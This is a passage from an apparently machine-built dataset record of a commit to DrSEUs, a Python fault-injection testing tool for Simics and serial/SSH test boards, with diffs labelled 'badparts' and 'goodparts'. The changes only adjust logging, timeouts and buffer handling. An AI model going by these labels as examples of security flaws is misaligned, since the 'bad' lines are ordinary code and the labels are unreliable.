9840794..fa3f8d9 100644\n--- a/simics.py\n+++ b/simics.py\n@@ -37,7 +37,6 @@ def __init__(self, database, options):\n for target in options.selected_targets:\n if target not in self.targets:\n raise Exception('invalid injection target: '+target)\n-\n if options.command == 'new':\n self.__launch_simics()\n elif options.command == 'supervise':\n@@ -77,7 +76,7 @@ def __launch_simics(self, checkpoint=None):\n else:\n with self.db as db:\n db.log_event('Information', 'Simics', 'Launched Simics',\n- checkpoint)\n+ checkpoint, success=True)\n break\n if checkpoint is None:\n self.__command('$drseus=TRUE')\n@@ -240,14 +239,15 @@ def close(self):\n else:\n self.simics.wait()\n with self.db as db:\n- db.log_event('Information', 'Simics', 'Closed Simics')\n+ db.log_event('Information', 'Simics', 'Closed Simics',\n+ success=True)\n self.simics = None\n \n def halt_dut(self):\n self.simics.send_signal(SIGINT)\n self.__command()\n with self.db as db:\n- db.log_event('Information', 'Simics', 'Halt DUT')\n+ db.log_event('Information', 'Simics', 'Halt DUT', success=True)\n return True\n \n def continue_dut(self):\n@@ -259,7 +259,7 @@ def continue_dut(self):\n if self.options.debug:\n print(colored('run', 'yellow'))\n with self.db as db:\n- db.log_event('Information', 'Simics', 'Continue DUT')\n+ db.log_event('Information', 'Simics', 'Continue DUT', success=True)\n \n def __command(self, command=None):\n \n@@ -348,6 +348,10 @@ def __merge_checkpoint(self, checkpoint):\n def time_application(self):\n \n def create_checkpoints():\n+ with self.db as db:\n+ event = db.log_event('Information', 'Simics',\n+ 'Created gold checkpoints', success=False,\n+ campaign=True)\n makedirs('simics-workspace/gold-checkpoints/' +\n str(self.db.campaign['id']))\n self.db.campaign['cycles_between'] = \\\n@@ -380,8 +384,7 @@ def create_checkpoints():\n break\n self.db.campaign['num_checkpoints'] = checkpoint\n with self.db as db:\n- db.log_event('Information', 'Simics',\n- 'Created gold checkpoints', campaign=True)\n+ db.log_event_success(event)\n self.continue_dut()\n if self.db.campaign['aux']:\n aux_process.join()\n@@ -390,6 +393,9 @@ def create_checkpoints():\n read_thread.join()\n \n # def time_application(self):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Simics', 'Timed application',\n+ success=False, campaign=True)\n self.halt_dut()\n time_data = self.__command('print-time').split('\\n')[-2].split()\n start_cycles = int(time_data[2])\n@@ -424,8 +430,7 @@ def create_checkpoints():\n self.db.campaign['sim_time'] = \\\n (end_sim_time - start_sim_time) / self.options.iterations\n with self.db as db:\n- db.log_event('Information', 'Simics', 'Timed application',\n- campaign=True)\n+ db.log_event_success(event)\n create_checkpoints()\n \n def inject_faults(self):\n@@ -639,15 +644,17 @@ def flip_bit(value_to_inject, num_bits_to_inject, bit_to_inject):\n field_to_inject = field_name\n break\n else:\n- raise DrSEUsError('Error finding register field '\n- 'name for bit ' +\n- str(bit_to_inject) +\n- ' in register '+register)\n+ with self.db as db:\n+ db.log_event('Warning', 'Simics',\n+ 'Error finding register field '\n+ 'name',\n+ 'target: '+target +\n+ ', register: '+register +\n+ ', bit: '+str(bit_to_inject))\n injection['field'] = field_to_inject\n else:\n injection['field'] = None\n injection['bit'] = bit_to_inject\n-\n if register_index is not None:\n injection['register_index'] = ''\n for index in register_index:\n@@ -719,25 +726,23 @@ def flip_bit(value_to_inject, num_bits_to_inject, bit_to_inject):\n 'injection_number': injection_number,\n 'checkpoint_number': checkpoint_number,\n 'register': register,\n+ 'success': False,\n 'target': target,\n 'timestamp': None}\n+ with self.db as db:\n+ db.insert('injection', injection)\n try:\n # perform fault injection\n injection.update(inject_register(\n injected_checkpoint, register, target))\n except:\n- injection['success'] = False\n- with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Error', 'Simics', 'Error injecting fault',\n- db.log_exception)\n raise DrSEUsError('Error injecting fault')\n else:\n injection['success'] = True\n- # log injection data\n- with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Information', 'Simics', 'Fault injected')\n+ with self.db as db:\n+ db.update('injection', injection)\n+ db.log_event('Information', 'Simics', 'Fault injected',\n+ success=True)\n if self.options.debug:\n print(colored('result id: '+str(self.db.result['id']),\n 'magenta'))\ndiff --git a/supervisor.py b/supervisor.py\nindex 518e06a..eaff866 100644\n--- a/supervisor.py\n+++ b/supervisor.py\n@@ -17,7 +17,6 @@ def __init__(self, campaign, options):\n self.drseus = fault_injector(campaign, options)\n if not campaign['simics']:\n self.drseus.debugger.reset_dut()\n- self.drseus.debugger.dut.serial.timeout = 30\n self.drseus.debugger.dut.do_login()\n self.drseus.send_dut_files()\n self.prompt = 'DrSEUs> '\ndiff --git a/targets.py b/targets.py\nindex 3ba1db6..0e4dd10 100644\n--- a/targets.py\n+++ b/targets.py\n@@ -42,9 +42,9 @@ def calculate_target_bits(devices):\n adjust_bit.extend(range(field_range[0],\n field_range[1]+1))\n if len(adjust_bit) != bits:\n- raise Exception('simics_targets.py: ' +\n- 'bits mismatch for register: ' +\n- register+' in target: '+target)\n+ raise Exception('Bits mismatch for register: ' +\n+ register+' in target: '+target +\n+ ' in device: '+device)\n else:\n (devices[device][target]['registers'][register]\n ['adjust_bit']) = sorted(adjust_bit)\n@@ -73,8 +73,7 @@ def choose_target(selected_targets, targets):\n target_to_inject = target[0]\n break\n else:\n- raise Exception('simics_checkpoints.py:choose_target(): '\n- 'Error choosing injection target')\n+ raise Exception('Error choosing injection target')\n if 'count' in targets[target_to_inject]:\n target_index = randrange(targets[target_to_inject]['count'])\n target_to_inject += ':'+str(target_index)\n@@ -105,6 +104,5 @@ def choose_register(target, targets):\n register_to_inject = register[0]\n break\n else:\n- raise Exception('simics_checkpoints.py:choose_register(): '\n- 'Error choosing register for target: '+target)\n+ raise Exception('Error choosing register for target: '+target)\n return register_to_inject\ndiff --git a/utilities.py b/utilities.py\nindex 6fd9b03..75b0850 100644\n--- a/utilities.py\n+++ b/utilities.py\n@@ -189,7 +189,10 @@ def inject_campaign(options):\n \n def perform_injections(iteration_counter):\n drseus = fault_injector(campaign, options)\n- drseus.inject_campaign(iteration_counter)\n+ try:\n+ drseus.inject_campaign(iteration_counter)\n+ except KeyboardInterrupt:\n+ drseus.close(interrupted=True)\n \n # def inject_campaign(options):\n processes = []\n", "message": "", "files": {"/database.py": {"changes": [{"diff": "\n 'dut_output': '',\n 'num_injections': None,\n 'outcome_category': 'Incomplete',\n- 'outcome': 'Incomplete',\n+ 'outcome': 'In progress',\n 'timestamp': None})\n self.insert('result')\n \n", "add": 1, "remove": 1, "filename": "/database.py", "badparts": [" 'outcome': 'Incomplete',"], "goodparts": [" 'outcome': 'In progress',"]}, {"diff": "\n self.__create_result()\n \n def log_event(self, level, source, event_type, description=None,\n- campaign=False, success=None):\n+ success=None, campaign=False):\n if description == self.log_trace:\n description = ''.join(format_stack()[:-2])\n+ success = False\n elif description == self.log_exception:\n description = ''.join(format_exc())\n+ success = False\n event = {'description': description,\n 'event_type': event_type,\n 'level': level,\n", "add": 3, "remove": 1, "filename": "/database.py", "badparts": [" campaign=False, success=None):"], "goodparts": [" success=None, campaign=False):", " success = False", " success = False"]}, {"diff": "\n [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_campaign WHERE id=?',\n [self.campaign['id']])\n-\n- def __exit__(self, type_, value, traceback):\n- self.connection.commit()\n- self.connection.close()\n- self.lock.release()\n- if type_ is not None or value is not None or traceback is not None:\n- return False # reraise exception", "add": 0, "remove": 7, "filename": "/database.py", "badparts": [" def __exit__(self, type_, value, traceback):", " self.connection.commit()", " self.connection.close()", " self.lock.release()", " if type_ is not None or value is not None or traceback is not None:", " return False # reraise exception"], "goodparts": []}], "source": "\nfrom datetime import datetime from os.path import exists from sqlite3 import connect from termcolor import colored from threading import Lock from traceback import format_exc, format_stack class database(object): log_exception='__LOG_EXCEPTION__' log_trace='__LOG_TRACE__' def __init__(self, campaign={}, create_result=False, database_file='campaign-data/db.sqlite3'): if not exists(database_file): raise Exception('could not find database file: '+database_file) self.campaign=campaign self.result={} self.file=database_file self.lock=Lock() if create_result: with self as db: db.__create_result() def __enter__(self): def dict_factory(cursor, row): dictionary={} for id_, column in enumerate(cursor.description): dictionary[column[0]]=row[id_] return dictionary self.lock.acquire() self.connection=connect(self.file, timeout=30) self.connection.row_factory=dict_factory self.cursor=self.connection.cursor() return self def insert(self, table, dictionary=None): if dictionary is None: if table=='campaign': dictionary=self.campaign elif table=='result': dictionary=self.result if 'timestamp' in dictionary: dictionary['timestamp']=datetime.now() if 'id' in dictionary: del dictionary['id'] self.cursor.execute( 'INSERT INTO log_{}({}) VALUES({})'.format( table, ','.join(dictionary.keys()), ','.join('?'*len(dictionary))), list(dictionary.values())) dictionary['id']=self.cursor.lastrowid def update(self, table, dictionary=None): if table=='campaign': dictionary=self.campaign elif table=='result': dictionary=self.result if 'timestamp' in dictionary: dictionary['timestamp']=datetime.now() self.cursor.execute( 'UPDATE log_{} SET{}=? WHERE id={}'.format( table, '=?,'.join(dictionary.keys()), str(dictionary['id'])), list(dictionary.values())) def __create_result(self): self.result.update({'campaign_id': self.campaign['id'], 'aux_output': '', 'data_diff': None, 'debugger_output': '', 'detected_errors': None, 'dut_output': '', 'num_injections': None, 'outcome_category': 'Incomplete', 'outcome': 'Incomplete', 'timestamp': None}) self.insert('result') def log_result(self, create_result=True): out=(self.result['dut_serial_port']+', '+str(self.result['id']) + ': '+self.result['outcome_category']+' -' + self.result['outcome']) if self.result['data_diff'] is not None and \\ self.result['data_diff'] < 1.0: out +='{0:.2f}%'.format(max(self.result['data_diff']*100, 99.990)) print(colored(out, 'blue')) self.update('result') if create_result: self.__create_result() def log_event(self, level, source, event_type, description=None, campaign=False, success=None): if description==self.log_trace: description=''.join(format_stack()[:-2]) elif description==self.log_exception: description=''.join(format_exc()) event={'description': description, 'event_type': event_type, 'level': level, 'source': source, 'success': success, 'timestamp': None} if self.result and not campaign: event['result_id']=self.result['id'] else: event['campaign_id']=self.campaign['id'] self.insert('event', event) return event def log_event_success(self, event, success=True): event['success']=success self.update('event', event) def get_campaign(self): if not self.campaign['id']: self.cursor.execute('SELECT * FROM log_campaign ' 'ORDER BY id DESC LIMIT 1') return self.cursor.fetchone() elif self.campaign['id']=='*': self.cursor.execute('SELECT * FROM log_campaign ORDER BY id') return self.cursor.fetchall() else: self.cursor.execute('SELECT * FROM log_campaign WHERE id=?', [self.campaign['id']]) return self.cursor.fetchone() def get_result(self): self.cursor.execute('SELECT * FROM log_result WHERE campaign_id=?', [self.campaign['id']]) return self.cursor.fetchall() def get_item(self, item): self.cursor.execute('SELECT * FROM log_'+item+' WHERE result_id=? ', [self.result['id']]) return self.cursor.fetchall() def get_count(self, item, item_from='result'): self.cursor.execute('SELECT COUNT(*) FROM log_'+item+' WHERE ' + item_from+'_id=?',[getattr(self, item_from)['id']]) return self.cursor.fetchone()['COUNT(*)'] def delete_result(self): self.cursor.execute('DELETE FROM log_simics_memory_diff ' 'WHERE result_id=?',[self.result['id']]) self.cursor.execute('DELETE FROM log_simics_register_diff ' 'WHERE result_id=?',[self.result['id']]) self.cursor.execute('DELETE FROM log_injection WHERE result_id=?', [self.result['id']]) self.cursor.execute('DELETE FROM log_event WHERE result_id=?', [self.result['id']]) self.cursor.execute('DELETE FROM log_result WHERE id=?', [self.result['id']]) def delete_results(self): self.cursor.execute('DELETE FROM log_simics_memory_diff WHERE ' 'result_id IN(SELECT id FROM log_result ' 'WHERE campaign_id=?)',[self.campaign['id']]) self.cursor.execute('DELETE FROM log_simics_register_diff WHERE ' 'result_id IN(SELECT id FROM log_result ' 'WHERE campaign_id=?)',[self.campaign['id']]) self.cursor.execute('DELETE FROM log_injection WHERE ' 'result_id IN(SELECT id FROM log_result ' 'WHERE campaign_id=?)',[self.campaign['id']]) self.cursor.execute('DELETE FROM log_event WHERE ' 'result_id IN(SELECT id FROM log_result ' 'WHERE campaign_id=?)',[self.campaign['id']]) self.cursor.execute('DELETE FROM log_result WHERE campaign_id=?', [self.campaign['id']]) def delete_campaign(self): self.delete_results() self.cursor.execute('DELETE FROM log_event WHERE campaign_id=?', [self.campaign['id']]) self.cursor.execute('DELETE FROM log_campaign WHERE id=?', [self.campaign['id']]) def __exit__(self, type_, value, traceback): self.connection.commit() self.connection.close() self.lock.release() if type_ is not None or value is not None or traceback is not None: return False ", "sourceWithComments": "from datetime import datetime\nfrom os.path import exists\nfrom sqlite3 import connect\nfrom termcolor import colored\nfrom threading import Lock\nfrom traceback import format_exc, format_stack\n\n\nclass database(object):\n log_exception = '__LOG_EXCEPTION__'\n log_trace = '__LOG_TRACE__'\n\n def __init__(self, campaign={}, create_result=False,\n database_file='campaign-data/db.sqlite3'):\n if not exists(database_file):\n raise Exception('could not find database file: '+database_file)\n self.campaign = campaign\n self.result = {}\n self.file = database_file\n self.lock = Lock()\n if create_result:\n with self as db:\n db.__create_result()\n\n def __enter__(self):\n\n def dict_factory(cursor, row):\n dictionary = {}\n for id_, column in enumerate(cursor.description):\n dictionary[column[0]] = row[id_]\n return dictionary\n\n # def __enter__(self):\n self.lock.acquire()\n self.connection = connect(self.file, timeout=30)\n self.connection.row_factory = dict_factory\n self.cursor = self.connection.cursor()\n return self\n\n def insert(self, table, dictionary=None):\n if dictionary is None:\n if table == 'campaign':\n dictionary = self.campaign\n elif table == 'result':\n dictionary = self.result\n if 'timestamp' in dictionary:\n dictionary['timestamp'] = datetime.now()\n if 'id' in dictionary:\n del dictionary['id']\n self.cursor.execute(\n 'INSERT INTO log_{} ({}) VALUES ({})'.format(\n table,\n ','.join(dictionary.keys()),\n ','.join('?'*len(dictionary))),\n list(dictionary.values()))\n dictionary['id'] = self.cursor.lastrowid\n\n def update(self, table, dictionary=None):\n if table == 'campaign':\n dictionary = self.campaign\n elif table == 'result':\n dictionary = self.result\n if 'timestamp' in dictionary:\n dictionary['timestamp'] = datetime.now()\n self.cursor.execute(\n 'UPDATE log_{} SET {}=? WHERE id={}'.format(\n table,\n '=?,'.join(dictionary.keys()),\n str(dictionary['id'])),\n list(dictionary.values()))\n\n def __create_result(self):\n self.result.update({'campaign_id': self.campaign['id'],\n 'aux_output': '',\n 'data_diff': None,\n 'debugger_output': '',\n 'detected_errors': None,\n 'dut_output': '',\n 'num_injections': None,\n 'outcome_category': 'Incomplete',\n 'outcome': 'Incomplete',\n 'timestamp': None})\n self.insert('result')\n\n def log_result(self, create_result=True):\n out = (self.result['dut_serial_port']+', '+str(self.result['id']) +\n ': '+self.result['outcome_category']+' - ' +\n self.result['outcome'])\n if self.result['data_diff'] is not None and \\\n self.result['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result['data_diff']*100,\n 99.990))\n print(colored(out, 'blue'))\n self.update('result')\n if create_result:\n self.__create_result()\n\n def log_event(self, level, source, event_type, description=None,\n campaign=False, success=None):\n if description == self.log_trace:\n description = ''.join(format_stack()[:-2])\n elif description == self.log_exception:\n description = ''.join(format_exc())\n event = {'description': description,\n 'event_type': event_type,\n 'level': level,\n 'source': source,\n 'success': success,\n 'timestamp': None}\n if self.result and not campaign:\n event['result_id'] = self.result['id']\n else:\n event['campaign_id'] = self.campaign['id']\n self.insert('event', event)\n return event\n\n def log_event_success(self, event, success=True):\n event['success'] = success\n self.update('event', event)\n\n def get_campaign(self):\n if not self.campaign['id']:\n self.cursor.execute('SELECT * FROM log_campaign '\n 'ORDER BY id DESC LIMIT 1')\n return self.cursor.fetchone()\n elif self.campaign['id'] == '*':\n self.cursor.execute('SELECT * FROM log_campaign ORDER BY id')\n return self.cursor.fetchall()\n else:\n self.cursor.execute('SELECT * FROM log_campaign WHERE id=?',\n [self.campaign['id']])\n return self.cursor.fetchone()\n\n def get_result(self):\n self.cursor.execute('SELECT * FROM log_result WHERE campaign_id=?',\n [self.campaign['id']])\n return self.cursor.fetchall()\n\n def get_item(self, item):\n self.cursor.execute('SELECT * FROM log_'+item+' WHERE result_id=? ',\n [self.result['id']])\n return self.cursor.fetchall()\n\n def get_count(self, item, item_from='result'):\n self.cursor.execute('SELECT COUNT(*) FROM log_'+item+' WHERE ' +\n item_from+'_id=?', [getattr(self, item_from)['id']])\n return self.cursor.fetchone()['COUNT(*)']\n\n def delete_result(self):\n self.cursor.execute('DELETE FROM log_simics_memory_diff '\n 'WHERE result_id=?', [self.result['id']])\n self.cursor.execute('DELETE FROM log_simics_register_diff '\n 'WHERE result_id=?', [self.result['id']])\n self.cursor.execute('DELETE FROM log_injection WHERE result_id=?',\n [self.result['id']])\n self.cursor.execute('DELETE FROM log_event WHERE result_id=?',\n [self.result['id']])\n self.cursor.execute('DELETE FROM log_result WHERE id=?',\n [self.result['id']])\n\n def delete_results(self):\n self.cursor.execute('DELETE FROM log_simics_memory_diff WHERE '\n 'result_id IN (SELECT id FROM log_result '\n 'WHERE campaign_id=?)', [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_simics_register_diff WHERE '\n 'result_id IN (SELECT id FROM log_result '\n 'WHERE campaign_id=?)', [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_injection WHERE '\n 'result_id IN (SELECT id FROM log_result '\n 'WHERE campaign_id=?)', [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_event WHERE '\n 'result_id IN (SELECT id FROM log_result '\n 'WHERE campaign_id=?)', [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_result WHERE campaign_id=?',\n [self.campaign['id']])\n\n def delete_campaign(self):\n self.delete_results()\n self.cursor.execute('DELETE FROM log_event WHERE campaign_id=?',\n [self.campaign['id']])\n self.cursor.execute('DELETE FROM log_campaign WHERE id=?',\n [self.campaign['id']])\n\n def __exit__(self, type_, value, traceback):\n self.connection.commit()\n self.connection.close()\n self.lock.release()\n if type_ is not None or value is not None or traceback is not None:\n return False # reraise exception\n"}, "/dut.py": {"changes": [{"diff": "\n else:\n break\n self.serial.reset_input_buffer()\n+ self.serial.reset_output_buffer()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Connected to serial port', serial_port)\n+ 'Connected to serial port', serial_port, success=True)\n \n def close(self):\n+ self.flush()\n self.serial.close()\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Closed serial port')\n+ 'Closed serial port', success=True)\n \n def flush(self):\n+ self.serial.reset_output_buffer()\n try:\n in_bytes = self.serial.in_waiting\n except:\n- pass\n+ self.serial.reset_input_buffer()\n else:\n if in_bytes:\n buff = self.serial.read(in_bytes).decode('utf-8', 'replace')\n", "add": 6, "remove": 3, "filename": "/dut.py", "badparts": [" 'Connected to serial port', serial_port)", " 'Closed serial port')", " pass"], "goodparts": [" self.serial.reset_output_buffer()", " 'Connected to serial port', serial_port, success=True)", " self.flush()", " 'Closed serial port', success=True)", " self.serial.reset_output_buffer()", " self.serial.reset_input_buffer()"]}, {"diff": "\n else:\n self.db.campaign['dut_output' if not self.aux\n else 'aux_output'] += buff\n- with self.db as db:\n- db.log_event('Information',\n- 'DUT' if not self.aux else 'AUX',\n- 'Flushed serial buffer')\n+ with self.db as db:\n+ db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n+ 'Flushed serial buffers', success=True)\n \n def send_files(self, files, attempts=10):\n if self.options.debug:\n", "add": 3, "remove": 4, "filename": "/dut.py", "badparts": [" with self.db as db:", " db.log_event('Information',", " 'DUT' if not self.aux else 'AUX',", " 'Flushed serial buffer')"], "goodparts": [" with self.db as db:", " db.log_event('Information', 'DUT' if not self.aux else 'AUX',", " 'Flushed serial buffers', success=True)"]}, {"diff": "\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n- dut_scp = SCPClient(ssh.get_transport())\n+ dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)\n try:\n dut_scp.put(files)\n except Exception as error:\n", "add": 1, "remove": 1, "filename": "/dut.py", "badparts": [" dut_scp = SCPClient(ssh.get_transport())"], "goodparts": [" dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)"]}, {"diff": "\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n- 'Sent files', ', '.join(files))\n+ 'Sent files', ', '.join(files),\n+ success=True)\n break\n \n def get_file(self, file_, local_path='', attempts=10):\n", "add": 2, "remove": 1, "filename": "/dut.py", "badparts": [" 'Sent files', ', '.join(files))"], "goodparts": [" 'Sent files', ', '.join(files),", " success=True)"]}, {"diff": "\n else:\n raise DrSEUsError(DrSEUsError.ssh_error)\n else:\n- dut_scp = SCPClient(ssh.get_transport())\n+ dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)\n try:\n dut_scp.get(file_, local_path=local_path)\n except Exception as error:\n", "add": 1, "remove": 1, "filename": "/dut.py", "badparts": [" dut_scp = SCPClient(ssh.get_transport())"], "goodparts": [" dut_scp = SCPClient(ssh.get_transport(), socket_timeout=30)"]}, {"diff": "\n with self.db as db:\n db.log_event('Information',\n 'DUT' if not self.aux else 'AUX',\n- 'Received file', file_)\n+ 'Received file', file_, success=True)\n break\n \n def write(self, string):\n", "add": 1, "remove": 1, "filename": "/dut.py", "badparts": [" 'Received file', file_)"], "goodparts": [" 'Received file', file_, success=True)"]}, {"diff": "\n if boot:\n with self.db as db:\n db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Booted')\n+ 'Booted', success=True)\n return buff\n \n def command(self, command=None):\n", "add": 1, "remove": 1, "filename": "/dut.py", "badparts": [" 'Booted')"], "goodparts": [" 'Booted', success=True)"]}, {"diff": "\n raise DrSEUsError('Error finding device ip address')\n if self.ip_address is not None:\n break\n- with self.db as db:\n- db.log_event('Information', 'DUT' if not self.aux else 'AUX',\n- 'Logged in", "add": 0, "remove": 3, "filename": "/dut.py", "badparts": [" with self.db as db:", " db.log_event('Information', 'DUT' if not self.aux else 'AUX',", " 'Logged in"], "goodparts": []}], "source": "\nfrom io import StringIO from paramiko import AutoAddPolicy, RSAKey, SSHClient from scp import SCPClient from serial import Serial from serial.serialutil import SerialException from sys import stdout from termcolor import colored from time import sleep from error import DrSEUsError class dut(object): error_messages=[ ('drseus_sighandler: SIGSEGV', 'Signal SIGSEGV'), ('drseus_sighandler: SIGILL', 'Signal SIGILL'), ('drseus_sighandler: SIGBUS', 'Signal SIGBUS'), ('drseus_sighandler: SIGFPE', 'Signal SIGFPE'), ('drseus_sighandler: SIGABRT', 'Signal SIGABRT'), ('drseus_sighandler: SIGIOT', 'Signal SIGIOT'), ('drseus_sighandler: SIGTRAP', 'Signal SIGTRAP'), ('drseus_sighandler: SIGSYS', 'Signal SIGSYS'), ('drseus_sighandler: SIGEMT', 'Signal SIGEMT'), ('command not found', 'Invalid command'), ('No such file or directory', 'Missing file'), ('panic', 'Kernel error'), ('Oops', 'Kernel error'), ('Segmentation fault', 'Segmentation fault'), ('Illegal instruction', 'Illegal instruction'), ('Call Trace:', 'Kernel error'), ('detected stalls on CPU', 'Stall detected'), ('malloc(), memory corruption', 'Kernel error'), ('malloc(): memory corruption', 'Kernel error'), ('Bad swap file entry', 'Kernel error'), ('Unable to handle kernel paging request', 'Kernel error'), ('Alignment trap', 'Kernel error'), ('Unhandled fault', 'Kernel error'), ('free(), invalid next size', 'Kernel error'), ('double free or corruption', 'Kernel error'), ('Rebooting in', 'Kernel error'), ('????????', '????????'), ('Hit any key to stop autoboot:', 'Reboot'), ('can\\'t get kernel image', 'Error booting')] def __init__(self, database, options, aux=False): self.db=database self.options=options self.aux=aux self.ip_address=options.dut_ip_address if not aux \\ else options.aux_ip_address self.scp_port=options.dut_scp_port if not aux \\ else options.aux_scp_port self.prompt=options.dut_prompt if not aux else options.aux_prompt self.prompt +=' ' rsakey_file=StringIO(database.campaign['rsakey']) self.rsakey=RSAKey.from_private_key(rsakey_file) rsakey_file.close() self.uboot_command=options.dut_uboot if not aux \\ else options.aux_uboot self.login_command=options.dut_login if not aux \\ else options.aux_login self.open() def __str__(self): string=('Serial Port: '+self.serial.port+'\\n\\tTimeout: ' + str(self.serial.timeout)+' seconds\\n\\tPrompt: \\\"' + self.prompt+'\\\"\\n\\tIP Address: '+str(self.ip_address) + '\\n\\tSCP Port: '+str(self.scp_port)) return string def open(self, attempts=10): serial_port=(self.options.dut_serial_port if not self.aux else self.options.aux_serial_port) if self.db.result: self.db.result[('dut' if not self.aux else 'aux') + '_serial_port']=serial_port with self.db as db: db.update('result') baud_rate=(self.options.dut_baud_rate if not self.aux else self.options.aux_baud_rate) self.serial=Serial(port=None, baudrate=baud_rate, timeout=self.options.timeout, rtscts=True) if self.db.campaign['simics']: self.serial._dsrdtr=True self.serial.port=serial_port for attempt in range(attempts): try: self.serial.open() except Exception as error: with self.db as db: db.log_event('Warning' if attempt < attempts-1 else 'Error', 'DUT' if not self.aux else 'AUX', 'Error opening serial port', db.log_exception) print(colored( 'Error opening serial port '+serial_port+'(attempt ' + str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError('Error opening serial port') else: break self.serial.reset_input_buffer() with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Connected to serial port', serial_port) def close(self): self.serial.close() with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Closed serial port') def flush(self): try: in_bytes=self.serial.in_waiting except: pass else: if in_bytes: buff=self.serial.read(in_bytes).decode('utf-8', 'replace') if self.db.result: self.db.result['dut_output' if not self.aux else 'aux_output'] +=buff else: self.db.campaign['dut_output' if not self.aux else 'aux_output'] +=buff with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Flushed serial buffer') def send_files(self, files, attempts=10): if self.options.debug: print(colored('sending file(s)...', 'blue'), end='') ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=self.scp_port, username='root', pkey=self.rsakey, timeout=30, allow_agent=False, look_for_keys=False) except Exception as error: with self.db as db: db.log_event('Warning' if attempt < attempts-1 else 'Error', 'DUT' if not self.aux else 'AUX', 'SSH error', db.log_exception) print(colored( self.serial.port+': Error sending file(s)(attempt ' + str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.put(files) except Exception as error: with self.db as db: db.log_event('Warning' if attempt < attempts-1 else 'Error', 'DUT' if not self.aux else 'AUX', 'SCP error', db.log_exception) print(colored( self.serial.port+': Error sending file(s)(attempt ' + str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Sent files', ', '.join(files)) break def get_file(self, file_, local_path='', attempts=10): if self.options.debug: print(colored('getting file...', 'blue'), end='') stdout.flush() ssh=SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) for attempt in range(attempts): try: ssh.connect(self.ip_address, port=self.scp_port, username='root', pkey=self.rsakey, timeout=30, allow_agent=False, look_for_keys=False) except Exception as error: with self.db as db: db.log_event('Warning' if attempt < attempts-1 else 'Error', 'DUT' if not self.aux else 'AUX', 'SSH error', db.log_exception) print(colored( self.serial.port+': Error receiving file(attempt ' + str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.ssh_error) else: dut_scp=SCPClient(ssh.get_transport()) try: dut_scp.get(file_, local_path=local_path) except Exception as error: with self.db as db: db.log_event('Warning' if attempt < attempts-1 else 'Error', 'DUT' if not self.aux else 'AUX', 'SCP error', db.log_exception) print(colored( self.serial.port+': Error receiving file(attempt ' + str(attempt+1)+'/'+str(attempts)+'): '+str(error), 'red')) dut_scp.close() ssh.close() if attempt < attempts-1: sleep(30) else: raise DrSEUsError(DrSEUsError.scp_error) else: dut_scp.close() ssh.close() if self.options.debug: print(colored('done', 'blue')) with self.db as db: db.log_event('Information', 'DUT' if not self.aux else 'AUX', 'Received file', file_) break def write(self, string): self.serial.write(bytes(string, encoding='utf-8')) def read_until(self, string=None, continuous=False, boot=False): if string is None: string=self.prompt buff='' event_buff='' event_buff_logged='' errors=0 hanging=False while True: try: char=self.serial.read().decode('utf-8', 'replace') except SerialException: char='' errors +=1 with self.db as db: db.log_event('Error', 'DUT' if not self.aux else 'AUX', 'Read error', db.log_exception) else: if not char: hanging=True with self.db as db: db.log_event('Error', 'DUT' if not self.aux else 'AUX', 'Read timeout', db.log_trace) if not continuous: break if self.db.result: self.db.result['dut_output' if not self.aux else 'aux_output'] +=char else: self.db.campaign['dut_output' if not self.aux else 'aux_output'] +=char if self.options.debug: print(colored(char, 'green' if not self.aux else 'cyan'), end='') stdout.flush() buff +=char if not continuous and buff[-len(string):]==string: break elif buff[-len('autoboot: '):]=='autoboot: ' and \\ self.uboot_command: self.write('\\n') self.write(self.uboot_command+'\\n') elif buff[-len('login: '):]=='login: ': self.write(self.options.username+'\\n') elif buff[-len('Password: '):]=='Password: ': self.write(self.options.password+'\\n') elif buff[-len('can\\'t get kernel image'):]==\\ 'can\\'t get kernel image': self.write('reset\\n') errors +=1 for message, category in self.error_messages: if buff[-len(message):]==message: if boot: if category in('Reboot', 'Missing file'): continue elif not continuous: self.serial.timeout=30 errors +=1 event_buff=buff.replace(event_buff_logged, '') with self.db as db: db.log_event('Warning' if boot else 'Error', 'DUT' if not self.aux else 'AUX', category, event_buff) event_buff_logged +=event_buff if not continuous and errors > 10: break if not boot and buff and buff[-1]=='\\n': with self.db as db: if self.db.result: db.update('result') else: db.update('campaign') if self.serial.timeout !=self.options.timeout: try: self.serial.timeout=self.options.timeout except: with self.db as db: db.log_event('Error', 'DUT' if not self.aux else 'AUX', 